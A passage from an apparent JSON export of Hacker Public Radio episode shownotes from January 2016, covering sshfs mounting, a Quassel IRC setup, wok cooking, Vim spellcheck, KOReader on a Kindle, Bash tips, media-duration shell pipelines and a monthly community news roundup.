                                                            \nThere are other ways to mount remote storage, most noteably SAMBA, but unless you are trying to connect to a Windows share, sshfs is far less trouble to set up, escpecially since most distros come with ssh-server already installed.\n

                                                            \n

                                                            \nThe first thing to do when preparing to use sshfs is to create a mountpoint on your local computer. For most purposes, you should create a folder inside your home folder. You should plan to leave this folder empty, because sshfs won't mount inside a folder that already has files in it. If I was configuring sshfs on a machine that had multiple users, I might set up a mount point under /media, then put symlinks in every user's home folder.\n

                                                            \n

                                                            \nThe sshfs command syntax reminds me of many of the other extended commands based ssh, like scp. The basic format is:\nsshfs username@<remote_host>: mountpoint\n

                                                            \n

                                                            \nTo put things in a better perspective, I'll use my situation as an example. My home server is on 192.168.2.153. If you have a hostname set up,you can use that instead of an IP. For the sake of arguement, my mountpoint for network storage is /home/fifty/storage . So, I can mount the storage folder on my server using:\n

                                                            \n

                                                            \nsshfs fifty@192.168.2.153: /home/fifty/storage\n

                                                            \n

                                                            \nBy default, your whole home directory on the remote system will be mounted at your mountpoint. You may have noticed the colon after the IP address, it is a necessary part of the syntax. Lets say you don't wish to mount your whole remote home folder, perhaps just the subdirectory containing shared storage. In my case, my server is an Raspberry Pi 2 with a 5Tb external USB drive which is mounted under /home/fifty/storage . Say, I only want to mount my shared storage, not everything in my home folder, I modify my command to be:\n

                                                            \n

                                                            \nsshfs fifty@192.168.2.153:storage /home/fifty/storage\n .or.\nsshfs fifty@192.168.2.153:/home/fifty/storage /home/fifty/storage\n

                                                            \n

                                                            \nExcept that generally doesn't work for me, and I'll come to that presently. The 5Tb USB drive on the server isn't actually mounted in my home folder, it automounts under /media. The directory /home/fifty/storage on the server is actually a symlink to the actual mountpoint under /media. To make sshfs follow symlinks, you need to add the option '-o follow_symlinks', so now my sshfs command looks like:\n

                                                            \n

                                                            \nsshfs fifty@192.168.2.153: /home/fifty/storage -o follow_symlinks\n

                                                            \n

                                                            \nYou may have noticed, the \"-o\" switch comes at end the end of the command. Usually switches come right after the command, and before the arguements. \n

                                                            \n

                                                            \nThis will allow sshfs to navigate symlinks, but I've discovered not all distros are comfortable using a symlink as the top levelfolder in a sshfs connection. For example, in Debian Wheezy, I could do:\n

                                                            \n

                                                            \nsshfs fifty@192.168.2.153:storage /home/fifty/storage -o follow_symlinks\n

                                                            \n

                                                            \nOther distros, Ubuntu, Mint, Fedora so far don't like to connect to a symlink at the top level. For those distros, I need to use:\n

                                                            \n

                                                            \nsshfs fifty@192.168.2.153: /home/fifty/storage -o follow_symlinks\n

                                                            \n

                                                            \nand walk my way down to storage.\n

                                                            \n

                                                            \nOther related options and commands I haven't used but you may be interested in include -p , for Port. Lets say the remote server you want to mount is not on your local network, but a server out on the Internet, it probably won't be on the default ssh port. Syntax in this case might look like:\n

                                                            \n

                                                            \nsshfs -p 1022 fifty@142.168.2.153:storage /home/fifty/storage -o follow_symlinks\n

                                                            \n

                                                            \nReading the man page, I also find \"-o allow_root\" which is described as \"allow access to root\" . I would expect, combined with a root login, this would mount all of the storage on the remote system, not just a user's home directory, but without direct expertience, Iwouldn't care to speculate further. \n

                                                            \n

                                                            \nThe mount can be broken with 'fusermount -u <mountpoint>'. \n

                                                            \n

                                                            \nAt this point, I could explain to you how to modify /etc/fstab to automatically mount a sshfs partition. The trouble is, /etc/fstab is processed for local storage before any network connections are made. Unless you want to modify the order in which services are enabled, no remote storage will ever be available when /etc/fstab is processed. It makes far more sense to encapsulate your sshfs command inside a script file and either have it autoloaded with your desktop manager or manually loaded when needed from a terminal.\n

                                                            \n

                                                            \nOne thing to watch out for, is saving files to the mountpoint when the remote storage is not actually mounted, i.e., you save to a default path under a mountpoint you expect to be mounted and is not, so all the sudden you have files in a folder that is supposed to be empty. To remount the remote storage, you have to delete/move the paths created at your designated mountpoint, to leave a pristeen, empty folder again.\n

                                                            \n

                                                            \nWeihenstephaner Vitus - The label says it's a Weizenbock, so we know its a strong, wheat based lager\n

                                                            \n\n\n\n

                                                            \nIBU 17 ABV 7.7%\n

                                                            ","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"sshfs, shell commands","version":0,"downloads":0,"valid":1}, {"id":1945,"date":"2016-01-15","title":"The Quassel IRC System","duration":1395,"summary":"Quassel is an IRC client that routes your open chat windows into one connection to the IRC server","notes":"

                                                            Quassel is a centralized IRC hub that allows several client computers to appear as only one connection to the IRC server, i.e. Freenode. About the same time NYBill posted Episode 1869 "IRSSI Connectbot", I was wondering how to merge all my simultaneous IRC connections from multiple hosts to the same channel on the same server into one connection. I did a search on "GUI front end IRSSI" and came up with Quassel instead. I think NYBill and I are trying to solve pretty much the same problem. I'm not trying to say my solution is better than NYBill's, I'm just saying it's the one that appeals the most to me.

                                                            \n

                                                            Problem: IRC servers (or at least Freenode) do not allow simultaneous connection from multiple hosts using the same user identifier. I.E., if I was logged in on the PC on my desk via XChat as FiftyOneFifty, if at the same time I was connected to IRC via a PC on the kitchen counter, I would have to use "Kitchen5150" as my identifier. If I was away from home, but left a computer connected to IRC back home, if I connected againover Android I'd have to be Andro5150. I could adopt all these other personas as aliases, which protected them from theft and allowed me to still have admin rights on channels where I was admin depite using a different login. These multiple versions of me running in IRC inevitably lead to confusion about which was the "real" FiftyOneFifty, a situation which MrJackson is all too familiar with, I'm sure.

                                                            \n

                                                            IRSSI Solution: Connect to a server via ssh, then login into IRC using the IRSSI terminal client inside a GNU screen or TMUX session. When moving between local hosts, disconnect from the current screen or tmux session, ssh into the server from the new host, and reconnect to the session running irssi. The irssi ncurses interface may not be as pretty or easy for some users as a GUI, but I understand it is quite functional.

                                                            \n

                                                            Quassel Solution: Connect to IRC server via a single host running quassel-core. Connect multiple simultaneous clients to the core via quassel-client. All clients share the same IRC display at the same time, all the while transparent to the server (i.e. Freenode), which only sees the one login from the host running quassel-core.

                                                            \n

                                                            There are two components two this system, quassel-core and quassel-client. You want to install quassel-core on to a system with a persistent Internet connection, say a home or cloud server. I first used Arch on and RPI model 2, so quassle-core setup for Arch may be found here: https://wiki.archlinux.org/index.php/Quassel .

                                                            \n

                                                            A. Install the core

                                                            \n
                                                              \n
                                                            1. Install quassel-core on the server [sudo pacman -S quassel-core]

                                                            2. \n
                                                            3. Generate a certificate

                                                            4. \n
                                                            5. Start core (i.e. sudo systemctl start quassel)

                                                            6. \n
                                                            7. Enable quassel on every startup (sudo systemctl enable quassel)

                                                              \n
                                                                \n
                                                              • There is something in the wiki about a but preventing the enable fundction from working. "systemctl enable" just creates a sysmlink into the proper startup directory, so the wiki replaces it with a copy command "cp /usr/lib/systemd/system/quassel.service /etc/systemd/system/"
                                                              • \n
                                                            8. \n
                                                            9. Set up Port Forwarding on your router. I suggest you use an external port other than the default 4242 (Security Through Obscurity, see my Port Forwarding episode).

                                                            10. \n
                                                            \n

                                                            All the configuration is done by the client!

                                                            \n

                                                            B. Install quassel-client

                                                            \n
                                                              \n
                                                            1. All you need to connect is an IP address and the external port number. The first account you create will be master and the only account with the ability to create other users. In other words, if someone else had your server's IP address and the port Quassel-core is listening on, they could beat you to establishing a master account and controll Quassel on your server.

                                                            2. \n
                                                            3. Once you have established a connection to a core and set your password, you can set up the default IRC servers and channels. It's a GUI interface, so I'm not going to walk you through the menus and various inputs. I only had success setting up one IRC server (Freenode) in the initial setup on the first client (as you connect addition clients, you will find your channels are already configured), and then only if I avoided ssl connections. Channels are entered into a list in the normal way (#channel_1, #channel_2, etc), but once you connect to a server, /join commands become persistant. I added a second IRC server, tllts, once I finished the initial setup.

                                                            4. \n
                                                            \n

                                                            The user interface is similar to XChat,but not quite as polished.

                                                            \n
                                                              \n
                                                            1. You get popup notifications when someone uses your handle in a chat, but scrolling back to find it, rather than being in a different color, it shows up in a garish reverse text. Easier to spot, but not as eligant.

                                                            2. \n
                                                            3. No way to search back posts for your handle or anything else.

                                                            4. \n
                                                            5. Links posted by others only have "copy this link function", not "open this link in default browser"

                                                            6. \n
                                                            7. I don't seem to have spellchecking enabled in my IRC client. I discovered spell checkwas central in Linux, rather than every app having it's own version (i.e. I assume FireFox under Windows has it's own spellcheck libraries as Office has it's own library). I wonder if I installed hunspell on the Quassel core server, if I would suddenly get spellcheck ( https://hackerpublicradio.org/eps.php?id=1356 ).

                                                            8. \n
                                                            \n

                                                            There is a perfectly adequate Android client for Quassel. Like AndChat, YAAIC, and the others, it seems to drop the connection unless you actively participating, but since the server is persistent, you never miss out on what was said while your client was disconnected.

                                                            \n

                                                            The last time I was awy for the weekend, I shut off all my PC's and network devices. One drawback of a local Quassel server would be my LAN and Quassel Core server would need to be up even when I was away from home.

                                                            \n

                                                            Migrating Quassel from my local server to the cloud: About a week after I'd set up Quassel, a buddy anounced he had secured a Digital Ocean Droplet ($5 a month, limited storage, limited bandwidth). He was open to letting his friends use the service, as long as their requirements were low impact. I jumped on the oppurtunity to move my quassel-core over to the "cloud". Remember the five and a half steps to setting up quassel-core under Arch? According to my friend who manages the Digital Ocean Droplet running Ubuntu Server, it was pretty much "sudo aptitude install quassel-core". Once the core was running I then configured the new core from one of the clients (i.e., pointed quassel-client to a new IP and port number, then created an account and password). Since I was on a new server, I had to set up connections my IRC channels again. After that, every client I migrated to the new core inherited those channels from the server. A week or so after moving the core to the cloud, I came home to find my Internet had been down for a few hours. Cycling the power on the ISPs tranceiver and my router fixed my Internet connection, and since Digital Ocean had experienced no interruption, I was still able to scroll back to the five hours of IRC I missed.

                                                            \n

                                                            Links

                                                            \n","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Quassel,IRC quassel-client,quassel-core","version":0,"downloads":0,"valid":1}, {"id":1946,"date":"2016-01-18","title":"Wok Cookery","duration":1237,"summary":"I prepare a vegetarian version of Chow Mein for my son's visit","notes":"

                                                            Wok Cookery

                                                            \n

                                                            Not for the first time I'm following in the footsteps of Frank Bell. Frank did an HPR episode entitled "A Beginner with a Wok", episode number 1787, on 2015-06-09. On it he spoke about his experiences stir-fry cooking using a wok.

                                                            \n

                                                            Frank got a lot of comments about his episode and there seemed to be an interest in the subject. I have been interested in Chinese, Indonesian and other Far Eastern cookery styles for some time, and do a lot of cooking, so I thought I'd record a show about one of the recipes I use.

                                                            \n

                                                            My son visits around once a week and eats dinner with me. I offered to cook him my version of Chow Mein, which since he is vegetarian, needed to use no meat. This is my description of the recipe I used.

                                                            \n

                                                            I loosely based this version of Chow Mein on Ken Hom's recipe in his book Chinese Cookery, page 226. This is from his 1984 BBC TV series, which I watched. I also learnt many of my preparation techniques from Ken Hom's books and TV shows.

                                                            \n

                                                            I have written out a long set of notes to accompany this episode Click this link to see them.

                                                            \n

                                                            Note

                                                            \n

                                                            Apologies for the sounds of a mouse scroll wheel in the audio. I was trying a new microphone position and didn't realise how sensitive it was to these sounds.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"cooking,wok,stir-fry,chow mein,noodles,Quorn","version":0,"downloads":0,"valid":1}, {"id":1947,"date":"2016-01-19","title":"ocenaudio ","duration":691,"summary":"ocenaudio is a cross-platform, easy to use, fast and functional audio editor.","notes":"

                                                            \nocenaudio is a cross-platform, easy to use, fast and functional audio editor. It is the ideal software for people who need to edit and analyze audio files without complications. ocenaudio also has powerful features that will please more advanced users.\n

                                                            \n

                                                            \nocenaudio supports VST (Virtual Studio Technology) plugins, giving its users access to numerous effects. Like the native effects, VST effects can use real-time preview to aide configuration.\n

                                                            \n\n

                                                            LOSTNBRONX

                                                            \n\n

                                                            \nhttps://www.cavalcadeaudio.com\n

                                                            \n\n

                                                            OCENAUDIO

                                                            \n\n\n\n

                                                            \nThere's not much documentation out there for Ocenaudio. Here are a couple links to articles that might help:\n

                                                            \n\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio editor,ocenaudio,VST","version":0,"downloads":0,"valid":1}, {"id":1948,"date":"2016-01-20","title":"Check Your Spelling in Vim","duration":699,"summary":"Frank summarizes how to use spellcheck in VIM","notes":"

                                                            \nFrank Bell describes how to check your spelling in the Vim editor and to create\nyour own wordlist.\n

                                                            \n

                                                            \nFrank's ~/.vimrc file:\n

                                                            \n
                                                            \nset ruler laststatus=2 number title hlsearch\nsyntax on\nset textwidth=80\nset spell spelllang=en_us\nset spellfile=$HOME/.Vim/spell/en.utf-8.add\n
                                                            \n\n

                                                            Illustrations:

                                                            \n\n

                                                            \nText file in Vim with spellcheck enabled:\n

                                                            \n\n\n\"A\n\n\n

                                                            \nVim \"choose the right word\" list:\n

                                                            \n\n\n\n\n

                                                            Links:

                                                            \n","hostid":195,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"Vim,spellcheck","version":0,"downloads":0,"valid":1}, {"id":1949,"date":"2016-01-21","title":"The Kindle/Kobo Open Reader (KOReader)","duration":1638,"summary":"I talk about installing an alternate ebook reader app on a jailbroken Kindle","notes":"

                                                            In this episode I talk about installing an alternate ebook reader app on your Kindle paperwhite. The one I'm using is called the Kindle/Kobo Open Reader (KOReader), and it has many features that the stock Kindle reader does not have:

                                                            \n\n
                                                              \n
                                                            • Epub support
                                                            • \n
                                                            • Word-breaking hyphenation
                                                            • \n
                                                            • PDF reflow
                                                            • \n
                                                            • Take screenshot with diagonal swipe
                                                            • \n
                                                            • Export highlights to Evernote
                                                            • \n
                                                            • Fills more screen space
                                                            • \n
                                                            • User-installed fonts
                                                            • \n
                                                            \n\n

                                                            How to get it running:

                                                            \n\n
                                                              \n
                                                            • Jailbreak your Kindle, refer to this post. Jailbreaking doesn't give you any new programs. What it does is unlock the potential of the device and allows you to install different launchers and applications.
                                                            • \n
                                                            • Install alternate launcher, such as KUAL, the Kindle Unified Application Launcher. This is a framework that allows developers to create menu items that will launch applications on a jailbroken Kindle.
                                                            • \n
                                                            • Install KOreader. Instructions
                                                            • \n\t
                                                            • Install Dictionary files for whatever languages you want to have (optional)
                                                            • \n\t
                                                            • install Tesseract language data (optional)
                                                            • \n
                                                            \n\n

                                                            You can allow KOreader to take over styling of whatever book you're reading. If you don't like the style rules it applies, you can hack the epub CSS file located here: /koreader/data/epub.css

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kindle, kobo, ebooks, epub, jailbreaking, rooting, ebook readers","version":0,"downloads":0,"valid":1}, {"id":1950,"date":"2016-01-22","title":"Kdenlive Part 2: Advanced Editing Technique","duration":1057,"summary":"We discuss advanced editing techniques and review the tools you'll be using as a video editor.","notes":"

                                                            \nHello again HPR listeners this is Geddes back with Part 2 in the series covering the video editing application KdenLive.\n

                                                            \n

                                                            \nLast time in part one we looked at Installing, First launch, Your workspace, Importing footage, Three-point editing, and lastly The basic tools.
                                                            \nhttps://hackerpublicradio.org/eps.php?id=1925\n

                                                            \n

                                                            \nThis time round we’ll be looking at advanced editing technique and Part 2 covers the following topics: \n

                                                            \n
                                                              \n
                                                            • A Brief History of the Editing Workflow
                                                            • \n
                                                            • Editing in the Timeline,
                                                            • \n
                                                            • Audio Splits and Grouping Clips,
                                                            • \n
                                                            • Basic Navigation in the Timeline,
                                                            • \n
                                                            • Notes on Video Formats.
                                                            • \n
                                                            \n

                                                            \nHere’s the link to the original article.
                                                            \nhttps://opensource.com/life/11/11/advanced-editing-kdenlive\n

                                                            ","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"video editing,Kdenlive","version":0,"downloads":0,"valid":1}, {"id":1951,"date":"2016-01-25","title":"Some additional Bash tips","duration":2424,"summary":"More about expansion in Bash: this time arithmetic expansion","notes":"

                                                            Some additional Bash tips

                                                            \n

                                                            Expansion

                                                            \n

                                                            As we saw in the last episode 1903 there are seven types of expansion applied to the command line in the following order:

                                                            \n
                                                              \n
                                                            • Brace expansion (we looked at this subject in episode 1884)
                                                            • \n
                                                            • Tilde expansion (seen in episode 1903)
                                                            • \n
                                                            • Parameter and variable expansion (this was covered in episode 1648)
                                                            • \n
                                                            • Command substitution (seen in episode 1903)
                                                            • \n
                                                            • Arithmetic expansion
                                                            • \n
                                                            • Word splitting
                                                            • \n
                                                            • Pathname expansion
                                                            • \n
                                                            \n

                                                            There is also another, process substitution, which occurs after arithmetic expansion on systems that can implement it.

                                                            \n

                                                            We will look at one more of these expansion types in this episode but since there is a lot to cover, we'll continue in a later episode.

                                                            \n

                                                            I have written out a moderately long set of notes about this subject. Click the link to see them.

                                                            \n

                                                            Audio Note

                                                            \n

                                                            This time, in the spirit of experimentation and as a way of learning Audacity I processed my audio thus:

                                                            \n
                                                              \n
                                                            • Turned the stereo tracks to mono

                                                            • \n
                                                            • Used a Noise Gate plug-in to reduce background noise (after "training" it on some silence)

                                                            • \n
                                                            • Performed a Truncate Silence pass to reduce the length of pauses

                                                            • \n
                                                            • Applied a small amount of amplification

                                                            • \n
                                                            \n

                                                            Let me know if this had any positive or negative effects on the end product.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,expansion,arithmetic expansion,shell arithmetic,number base","version":0,"downloads":0,"valid":1}, {"id":1952,"date":"2016-01-26","title":"Time now Ladies and Gents","duration":1860,"summary":"How to get the total duration of a lot of media files.","notes":"

                                                            In the show \"hpr1943 :: HPR AudioBook Club 11.5 - Interview with David Collins-Rivera\" pokey asked if there was a way to get the duration for media. The following three options springs to mind immediately.

                                                            \n

                                                            The first option is fix_tags and was written by our own Dave Morriss.

                                                            \n
                                                            $ date --utc --date=\"@$(echo $(fix_tags *mp3 *ogg 2>/dev/null | \\\nawk -F '\\\\(|\\\\)' '/length/ {print $2}' | \\\nsed 's/ sec//g' ) | \\\nsed 's/ /+/g' | bc )\"  +\"%T\"\n03:09:49\n
                                                            \n

                                                            Next up is mediainfo which provides a lot of information on media files.

                                                            \n
                                                            $ date -ud @$(echo $(mediainfo --full --Output=XML *mp3 *ogg | \\\nxmlstarlet sel -T -t -m \"Mediainfo/File/track[@type='Audio']/Duration[1]\" -v \".\" -n - | \\\nsed 's/.\\{3\\}$//') | \\\nsed 's/ /+/g' | bc)  +\"%T\"\n03:09:49\n
                                                            \n

                                                            The last option is to use ffprobe from the ffmpeg team.

                                                            \n
                                                            $ date -ud @$(echo $(for i in *mp3 *ogg;\\\ndo  \\date -ud 1970-01-01T$(ffprobe -i $i 2>&1 | \\\ngrep Duration | awk '{print $2}'| \\\nsed 's/,//g' ) +%s;done) | \\\nsed 's/ /+/g' | bc)  +\"%T\"\n03:09:49\n
                                                            \n

                                                            For complete shownotes please click here.

                                                            \n","hostid":30,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"fix_tags,ffprobe,ffmpeg,bc,sed,awk,grep,time,iso8601,date,mediainfo,xmlstarlet","version":0,"downloads":0,"valid":1}, {"id":1953,"date":"2016-01-27","title":"An Interview with David Willson of the Software Freedom School","duration":3286,"summary":"Starting with an out take, David Whitman talks to David Willson about Software Freedom School.","notes":"

                                                            David Whitman interviews David Willson of Software Freedom School

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Learning, Linux, School, Freedom, SFS, Software Freedom","version":0,"downloads":0,"valid":1}, {"id":1954,"date":"2016-01-28","title":"Grandpa Shows Us How to Turn Custom Pens","duration":4014,"summary":"Live action audio of my dad teaching us how to turn pens on a mini lathe","notes":"

                                                            Grandpa Shows Us How to Turn Custom Pens on a Lathe

                                                            \n\n

                                                            Warning: this show is kind of long, even though I cut out about half of the original raw audio. While my parents were visiting during the holidays, my dad taught me, the wife, and the kids how to turn pens on his mini lathe. We made a few mechanical pencils, a pen and I also made a giant workshop pencil. Click on the image below to look at the gallery of photos on Flickr.

                                                            \n\n

                                                            \"Pen

                                                            \n\n

                                                            [my wife's lovely mechanical pencil]

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DIY, pens, woodworking, lathe, writing instruments","version":0,"downloads":0,"valid":1}, {"id":1955,"date":"2016-01-29","title":"Install Open Street Map on a Garmin 60CX","duration":1238,"summary":"David Whitman installs an Open Street Map of Hawaii on a Garmin 60CX. Yipee for Free.","notes":"
                                                              \n
                                                            1. First go to this site: https://garmin.openstreetmap.nl/\n
                                                            2. \n
                                                            3. Then select your map type\n
                                                            4. \n
                                                            5. Select and download the predefined area or tiles you want. You can download it directly or have the web page build it for you by entering your email address and pushing the button BUILD MY MAP.\n
                                                              \na) If you choose the email option then you get an email that the map is being built and another (later on) that the map is ready.\n
                                                            6. \n
                                                            7. Unzip the file\n
                                                            8. \n
                                                            9. Rename the downloaded map to gmapsupp.img \n
                                                            10. \n
                                                            11. Save your old map (that's on your device) entitled to a different name and then backup\n
                                                            12. \n
                                                            13. Put the map you unzipped and renamed in its place and make sure it is renamed to 'gmapsupp.img' (omit the single quotes I have used in these show notes)\n
                                                            14. \n
                                                            15. Use your device and thank OSM\n
                                                            16. \n
                                                            \n\n

                                                            \nReasons why I like OSM for use on my Garmin 60CX and Garmin E-trex Vista\n

                                                            \n

                                                            \nOSM maps have more data for my area than the Garmin supplied map World Wide maps are available. See where Peter64, Ken Fallon or even 5150 lives. It's cheaper than buying a commercial map Trails, points and other improvements I put on OSM can be on my map I like the OSM concept and community.\n

                                                            \n

                                                            \nThese older GPS's can be purchased for bargain prices. Apparently the suction cup receiver - Garmin Windshield devices can also use OSM maps with other free software.\n

                                                            \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Open Street Map, OSM, Navigation, Fun","version":0,"downloads":0,"valid":1}, {"id":1956,"date":"2016-02-01","title":"HPR Community News for January 2016","duration":2340,"summary":"HPR Community News for January 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1935Fri2016-01-01Quick Bashpodder FixCharles in NJ
                                                            1936Mon2016-01-04HPR Community News for December 2015HPR Volunteers
                                                            1937Tue2016-01-05Klaatu talks to Cloudera about Hadoop and Big Dataklaatu
                                                            1938Wed2016-01-06How I prepare HPR showsDave Morriss
                                                            1939Thu2016-01-07Collating Pages with pdftkJon Kulp
                                                            1940Fri2016-01-08WASHLUG Talk on LastPassAhuka
                                                            1941Mon2016-01-11What's in my caseDave Morriss
                                                            1942Tue2016-01-12Kobo Touch N-905 E-Readerklaatu
                                                            1943Wed2016-01-13HPR AudioBook Club 11.5 - Interview with David Collins-RiveraHPR_AudioBookClub
                                                            1944Thu2016-01-14sshfs - Secure SHell FileSystemFiftyOneFifty
                                                            1945Fri2016-01-15The Quassel IRC SystemFiftyOneFifty
                                                            1946Mon2016-01-18Wok CookeryDave Morriss
                                                            1947Tue2016-01-19ocenaudio lostnbronx
                                                            1948Wed2016-01-20Check Your Spelling in VimFrank Bell
                                                            1949Thu2016-01-21The Kindle/Kobo Open Reader (KOReader)Jon Kulp
                                                            1950Fri2016-01-22Kdenlive Part 2: Advanced Editing TechniqueGeddes
                                                            1951Mon2016-01-25Some additional Bash tipsDave Morriss
                                                            1952Tue2016-01-26Time now Ladies and GentsKen Fallon
                                                            1953Wed2016-01-27An Interview with David Willson of the Software Freedom SchoolDavid Whitman
                                                            1954Thu2016-01-28Grandpa Shows Us How to Turn Custom PensJon Kulp
                                                            1955Fri2016-01-29Install Open Street Map on a Garmin 60CXDavid Whitman
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-01-06 12:19:29 +0100
                                                              \n Subject: Call for shows ... soon.
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1101
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-01-07 15:16:34 +0100
                                                              \n Subject: Request to reserve slots for FOSDEM'16 Interviews
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1102
                                                              \n Messages: 2

                                                            4. \n
                                                            5. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-01-09 20:19:25 +0100
                                                              \n Subject: Upload issue resolved
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1104
                                                              \n Messages: 3

                                                            6. \n
                                                            7. From: Dave Morriss <perloid@...>
                                                              \n Date: 2016-01-09 20:42:36 UTC
                                                              \n Subject: Mailing list software turned off my subscription
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1106
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Ken Fallon <ken@...>
                                                              \n Date: 2016-01-22 12:40:22 +0100
                                                              \n Subject: FOSDEM Send in your questions
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1108
                                                              \n Messages: 2

                                                            10. \n
                                                            11. From: Joshua Knapp <jknapp85@...>
                                                              \n Date: 2016-01-22 06:58:11 -0800
                                                              \n Subject: Spam filters do not like mail-lists
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1109
                                                              \n Messages: 3

                                                            12. \n
                                                            13. From: Lord Drachenblut <lord.drachenblut@...>
                                                              \n Date: 2016-01-22 17:17:38 UTC
                                                              \n Subject: SCALE14X keynote
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1112
                                                              \n Messages: 2

                                                            14. \n
                                                            15. From: Nigel Verity <nigelverity@...>
                                                              \n Date: 2016-01-22 21:48:38 UTC
                                                              \n Subject: Re: FOSDEM Send in your questions
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1114
                                                              \n Messages: 2
                                                            16. \n
                                                            \nTotal messages this month: 16
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 55 comments:

                                                            \n
                                                              \n
                                                            • hpr1933\n(2015-12-30) \"HPR AudioBookClub 11 Street Candles\"\nby HPR_AudioBookClub.\n
                                                              • Comment 2:\nDavid L. Willson on 2016-01-05:\n\"dangit!\"
                                                              • \n

                                                            • \n
                                                            • hpr1934\n(2015-12-31) \"Experiencing the Meegopad T-02 Part two\"\nby A Shadowy Figure.\n
                                                              • Comment 2:\nFrank on 2015-12-31:\"[no title]\"
                                                              • Comment 3:\nJon Kulp on 2016-01-01:\n\"$2 mic\"
                                                              • Comment 4:\nDennis on 2016-01-03:\n\"Love the subtle humor...\"
                                                              • Comment 5:\nElizabeth Chandler on 2016-01-03:\"[no title]\"
                                                              • Comment 6:\nJane V. Blanchard on 2016-01-03:\"[no title]\"
                                                              • Comment 7:\nA Shadowy Figure on 2016-01-04:\n\"Suitable for framing \"
                                                              • Comment 8:\nFrank on 2016-01-08:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1936\n(2016-01-04) \"HPR Community News for December 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nFrank on 2016-01-06:\"[no title]\"
                                                              • Comment 2:\nKevin O'Brien on 2016-01-07:\n\"Farts\"
                                                              • Comment 3:\nFrank on 2016-01-07:\"[no title]\"
                                                              • Comment 4:\nKen Fallon on 2016-01-07:\n\"Please do so\"
                                                              • Comment 5:\nDave Morriss on 2016-01-10:\n\"Le Pétomane\"
                                                              • \n

                                                            • \n
                                                            • hpr1939\n(2016-01-07) \"Collating Pages with pdftk\"\nby Jon Kulp.\n
                                                              • Comment 1:\nKen Fallon on 2016-01-10:\n\"Thanks\"
                                                              • Comment 2:\nDave Morriss on 2016-01-10:\n\"Very nice\"
                                                              • Comment 3:\nel Mussol on 2016-01-11:\n\"where is Dave\"
                                                              • Comment 4:\nDave Morriss on 2016-01-14:\n\"Donkeys\"
                                                              • \n

                                                            • \n
                                                            • hpr1941\n(2016-01-11) \"What's in my case\"\nby Dave Morriss.\n
                                                              • Comment 1:\nMagnus919 on 2016-01-11:\n\"Chronicles of a Cheap Geezer\"
                                                              • Comment 2:\nDave Morriss on 2016-01-11:\n\"Thanks\"
                                                              • Comment 3:\nFrank on 2016-01-11:\"[no title]\"
                                                              • Comment 4:\nDave Morriss on 2016-01-12:\n\"What's a duplex check?\"
                                                              • Comment 5:\nFrank on 2016-01-12:\"[no title]\"
                                                              • Comment 6:\nMike Ray on 2016-01-13:\n\"Nostalgia aint what it used to be\"
                                                              • Comment 7:\nJonas on 2016-01-14:\n\"Great Episode\"
                                                              • Comment 8:\nDave Morriss on 2016-01-14:\n\"Check vs Cheque\"
                                                              • Comment 9:\nDave Morriss on 2016-01-14:\n\"Re: Nostalgia\"
                                                              • Comment 10:\nDave Morriss on 2016-01-14:\n\"Thanks Jonas\"
                                                              • Comment 11:\nMike Ray on 2016-01-14:\n\"Leftpondian spelling\"
                                                              • Comment 12:\nDave Morriss on 2016-01-14:\n\"Re: Leftpondian spelling\"
